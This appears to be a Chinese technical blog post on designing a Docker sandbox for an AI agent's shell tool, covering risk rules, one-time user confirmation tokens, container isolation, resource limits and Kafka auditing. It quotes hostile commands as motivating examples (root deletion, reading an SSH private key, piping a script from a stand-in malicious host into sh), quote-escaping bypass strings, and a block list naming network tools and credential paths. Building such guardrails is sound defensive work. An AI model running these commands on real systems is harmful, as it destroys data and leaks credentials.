前言
Agent 不仅可以生成文本,还可以调用 Shell 工具完成文件处理、项目构建和脚本执行。
例如:
shell
ls -la
python generate_report.py
npm run build
但如果直接在宿主机执行模型生成的命令,可能出现误删除、凭证泄露、资源耗尽等问题:
shell
rm -rf /
cat ~/.ssh/id_rsa
curl malicious.example/script.sh | sh
为此,我在 Agent 中设计了一套基于 Docker 的安全沙箱,主要包含:
text
三级命令风险判定
警告级操作二次确认
Docker 一次性容器隔离
CPU、内存、PID 和超时限制
Kafka 异步审计
一、整体架构
完整执行流程如下:
text
Agent 生成命令
↓
调用 exec_command 工具
↓
命令安全校验
├── BLOCK:直接拒绝
├── WARN:等待用户确认
└── SAFE:允许执行
↓
获取全局并发额度
↓
启动一次性 Docker 容器
↓
执行命令并收集结果
↓
异步生成审计事件
↓
本地 Outbox 持久化
↓
投递到 Kafka
这套架构的核心不是单纯依赖 Docker,而是通过"策略检查 + 人工确认 + 容器隔离 + 审计追踪"形成多层防护。
二、Shell 命令如何进入沙箱
Agent 不能直接调用宿主机 Shell,只能调用统一的 exec_command 工具。
工具接收三个参数:
java
command // 要执行的命令
confirm // 用户是否已确认
confirmation_token // 一次性确认令牌
调用时还会自动注入:
text
userId
workspaceId
sessionId
requestId
这些信息一方面用于隔离确认权限,另一方面用于后续审计。
对应的请求对象大致如下:
java
public class ExecRequest {
private String command;
private Duration timeout;
private boolean confirm;
private String confirmationToken;
private String userId;
private String workspaceId;
private String sessionId;
private String requestId;
}
三、三级风险管控
命令进入沙箱后,首先由 Validator 进行风险判定。
| 风险级别 | 处理方式 | 示例 |
|---|---|---|
SAFE |
直接执行 | pwd、date、echo hello |
WARN |
用户确认后执行 | rm file.txt、npm install |
BLOCK |
无条件拒绝 | rm -rf /、sudo reboot |
SAFE:安全命令
没有命中风险规则的命令可以直接进入 Docker 执行阶段,例如:
shell
pwd
date
echo hello
ls -la
WARN:告警级命令
告警级命令不一定恶意,但可能产生副作用,例如:
text
rm 普通文件
输入输出重定向
kill 进程
pip install
npm install
apt install
多行命令
管道符
&&、||、;
一条命令可能命中多个规则,系统会把所有风险项展示给用户。
BLOCK:阻断级命令
阻断级命令不会执行,也不能通过用户确认绕过。
当前主要包括:
text
rm -rf 和删除根目录
mkfs、dd、写入块设备
sudo、su、chmod 777
shutdown、reboot、iptables
$()、反引号和 eval
访问 /etc/shadow、.ssh、.aws、.kube
curl、wget、ssh、nc 等网络外联
Fork 炸弹、killall、nohup
命中后直接返回:
text
exitCode = -1
[拒绝执行] 禁止......
此时不会创建 Docker 容器。
四、如何防止规则绕过
如果只检查原始命令字符串,可能被引号和转义绕过,例如:
shell
r\m -rf /
r'm' -rf /
因此,系统会先对命令进行有限的 Shell 规范化:
text
检查命令长度
检查控制字符
解析单双引号
处理反斜杠转义
拒绝未闭合引号
生成规范化命令
然后同时使用原始命令和规范化命令匹配阻断规则:
java
String normalized = normalizeShell(command);
for (Rule rule : BLOCK_RULES) {
if (rule.matches(command)
|| rule.matches(normalized)) {
return block(rule.reason());
}
}
系统还会直接拒绝 Shell 变量展开、命令替换和异常控制字符。
这种实现适合较简单的单条命令。如果未来要支持复杂 Shell 脚本,可以引入 Shell Parser,把命令解析成 AST 后再进行安全检查。
五、警告级操作如何二次确认
对于 WARN 命令,只传入 confirm=true 并不安全,因为模型自己也能生成这个参数。
因此,系统采用独立的确认令牌机制:
text
Agent 第一次提交 WARN 命令
↓
沙箱生成一次性令牌
↓
前端向用户展示风险
↓
用户点击确认
↓
调用独立确认接口
↓
Agent 携带令牌重新执行
第一次调用:
json
{
"command": "rm temp.txt"
}
沙箱返回:
text
exitCode = -2
confirmationToken = 随机 UUID
令牌会绑定:
text
原始命令
userId
workspaceId
sessionId
过期时间
批准状态
默认有效期为 5 分钟。
六、确认令牌如何防止越权和重放
用户确认时,前端调用独立接口:
http
POST /api/sandbox/confirm
请求内容如下:
json
{
"confirmation_token": "xxxxxxxx",
"session_id": "session-1001"
}
服务端会校验令牌是否属于当前用户、工作区和会话。
确认成功后,Agent 重新提交:
json
{
"command": "rm temp.txt",
"confirm": true,
"confirmation_token": "xxxxxxxx"
}
沙箱会再次检查:
text
令牌已经批准
令牌没有过期
命令与原命令完全一致
用户、工作区和会话一致
同时携带 confirm=true
执行前,令牌会被原子删除,因此只能使用一次。
如果两个请求同时使用同一个令牌,只有一个能够成功执行,另一个会因为令牌已失效而重新进入待确认状态。
这样可以防止:
- 模型自行伪造确认;
- 用户甲的令牌被用户乙使用;
- 批准一个命令后执行另一个命令;
- 浏览器重试导致命令重复执行。
七、Docker 隔离环境
通过安全检查后,系统会为命令创建一个全新的一次性容器。
Docker 参数大致如下:
shell
docker run --rm \
--name agi-sandbox-<uuid> \
--pull never \
--init \
--security-opt no-new-privileges \
--cap-drop ALL \
--user 65534:65534 \
--workdir /tmp \
--ipc none \
--ulimit nofile=256:256 \
--network none \
--read-only \
--tmpfs /tmp:rw,noexec,nosuid,size=64m \
--memory 256m \
--memory-swap 256m \
--cpus 0.50 \
--pids-limit 64 \
alpine:3.19 \
sh -c "<command>"
主要隔离措施如下:
| 配置 | 作用 |
|---|---|
--rm |
执行结束后删除容器 |
--user 65534:65534 |
使用非 root 用户 |
--cap-drop ALL |
移除全部 Linux capabilities |
no-new-privileges |
禁止获得新权限 |
--network none |
禁止网络访问 |
--read-only |
根文件系统只读 |
--tmpfs /tmp |
仅允许有限的临时写入 |
--ipc none |
禁止共享 IPC |
--init |
回收僵尸进程 |
容器不挂载宿主机目录,也不挂载 Docker Socket,因此默认无法访问宿主机文件和 Docker daemon。
生产环境还应将镜像标签固定为摘要:
yaml
image: alpine@sha256:xxxx
避免镜像内容发生漂移。
八、资源配额限制
除了隔离权限,还需要防止命令耗尽宿主机资源。
当前默认配置为:
yaml
sandbox:
timeout-ms: 30000
max-output-bytes: 65536
memory-limit-mb: 256
cpu-percent: 50
max-pids: 64
max-concurrent-executions: 4
acquire-timeout-ms: 1000
对应限制如下:
| 资源 | 默认限制 |
|---|---|
| 单次执行时间 | 30 秒 |
| stdout + stderr | 64KB |
| 内存 | 256MB |
| CPU | 0.5 核 |
| PID | 64 |
| 全局并发数 | 4 |
| 临时目录 | 64MB |
命令超时后,系统会:
text
强制终止 docker run
执行 docker rm -f 删除容器
设置 killed=true
返回 exitCode=-4
stdout 和 stderr 共用 64KB 配额。达到上限后继续读取但不再保存,避免输出管道阻塞,同时设置:
text
truncated = true
系统还通过信号量限制全局最多同时运行 4 个容器。
如果一秒内无法获得执行额度,则返回:
text
exitCode = -6
[沙箱繁忙] 并发执行已达到上限
九、Docker 不可用时如何处理
应用启动时会探测 Docker daemon:
shell
docker version --format "{{.Server.Version}}"
如果 Docker 不可用,后续命令直接返回:
text
exitCode = -3
Docker 后端不可用
系统不会自动退化为宿主机执行,这种策略称为:
text
Fail Closed
虽然系统提供 local 和 mock 后端,但必须显式配置。
其中 local 后端还要求:
text
allow-unsafe-local-backend=true
开启命令白名单
白名单不能为空
从而避免因为 Docker 故障意外绕过隔离环境。
十、Kafka 审计记录什么
无论命令执行成功、被阻断、等待确认还是执行超时,都会生成审计事件。
事件类型为:
text
sandbox.exec
主要字段包括:
json
{
"event_id": "UUID",
"occurred_at": "执行时间",
"command": "脱敏后的命令",
"command_sha256": "原命令摘要",
"policy_version": "sandbox-v2",
"user_id": "u100",
"workspace_id": "team-a",
"session_id": "session-1",
"request_id": "request-1001",
"level": "warn",
"violations": ["删除文件操作"],
"exit_code": 0,
"duration_ms": 120,
"backend": "docker",
"killed": false,
"truncated": false,
"outcome": "executed"
}
命令中的 Token、密码、API Key 和 Bearer Token 会替换为 ***。
同时保留原命令的 SHA-256,方便在不暴露敏感内容的情况下判断两次操作是否对应同一命令。
用户确认行为也会生成:
text
sandbox.confirmation
记录谁在什么会话中批准了哪个确认挑战。
十一、为什么使用本地 Outbox
如果命令执行完成后直接发送 Kafka,Kafka 临时断线时,审计事件可能丢失。
因此,系统采用本地文件 Outbox:
text
审计事件
↓
写入 .evt.tmp
↓
原子重命名为 .evt
↓
后台线程读取
↓
发送 Kafka
↓
收到 ACK
↓
删除本地文件
Kafka Producer 开启:
text
acks=all
enable.idempotence=true
如果 Kafka 不可用,Outbox 文件会继续保留。后台任务每隔一段时间重新连接,连接恢复后自动补发。
损坏的事件文件会被改名为 .bad,避免阻塞后续正常事件。
Outbox 最大积压数量默认为:
yaml
max-pending-events: 10000
防止 Kafka 长时间不可用时无限占用磁盘。
这套机制提供的是"至少一次"投递,因此下游消费者还需要根据 event_id 去重。
十二、一次完整执行流程
以警告级命令为例:
shell
rm temp.txt
完整流程如下:
text
1. Agent 调用 exec_command
2. 工具注入用户和会话信息
3. Validator 判定为 WARN
4. 沙箱生成一次性确认令牌
5. 前端向用户展示风险
6. 用户调用确认接口批准
7. Agent 携带 confirm=true 和令牌重新调用
8. 沙箱校验命令、用户、工作区和会话
9. 原子消费一次性令牌
10. 获取全局执行额度
11. 创建受限 Docker 容器
12. 执行命令并收集输出
13. 删除容器并释放执行额度
14. 返回退出码、耗时和输出
15. 异步生成审计事件
16. 事件写入本地 Outbox
17. Kafka 恢复后自动投递
十三、这套设计解决了什么问题
通过这套安全沙箱,Agent 获得了以下能力:
- 所有 Shell 命令统一经过安全入口;
- 使用 SAFE、WARN、BLOCK 实现三级风险控制;
- 阻断极高风险命令;
- 对删除、安装和管道操作进行人工确认;
- 确认令牌与命令和用户身份绑定;
- 使用一次性令牌防止重复执行;
- 使用非 root Docker 容器隔离命令;
- 禁止网络访问和宿主机文件访问;
- 限制 CPU、内存、PID、时间和输出;
- 限制全局并发容器数量;
- Docker 不可用时拒绝执行;
- 对命令执行和用户确认进行完整审计;
- 使用 Outbox 保证 Kafka 断线期间的事件持久化。
总结
这套安全沙箱的核心并不是简单地执行:
shell
docker run
而是建立一条完整的安全链路:
text
命令进入
↓
风险判定
↓
人工确认
↓
容器隔离
↓
资源限制
↓
结果收集
↓
异步审计
其中:
text
三级风控决定命令能不能执行
二次确认决定用户是否授权执行
Docker 决定命令能够影响什么
资源配额决定命令能够消耗多少
Kafka 审计负责记录谁在什么时候执行了什么
只有把策略校验、用户确认、Docker 隔离、资源限制和审计追踪组合起来,才能让 Agent 在获得真实操作能力的同时,保持安全、可控和可追溯。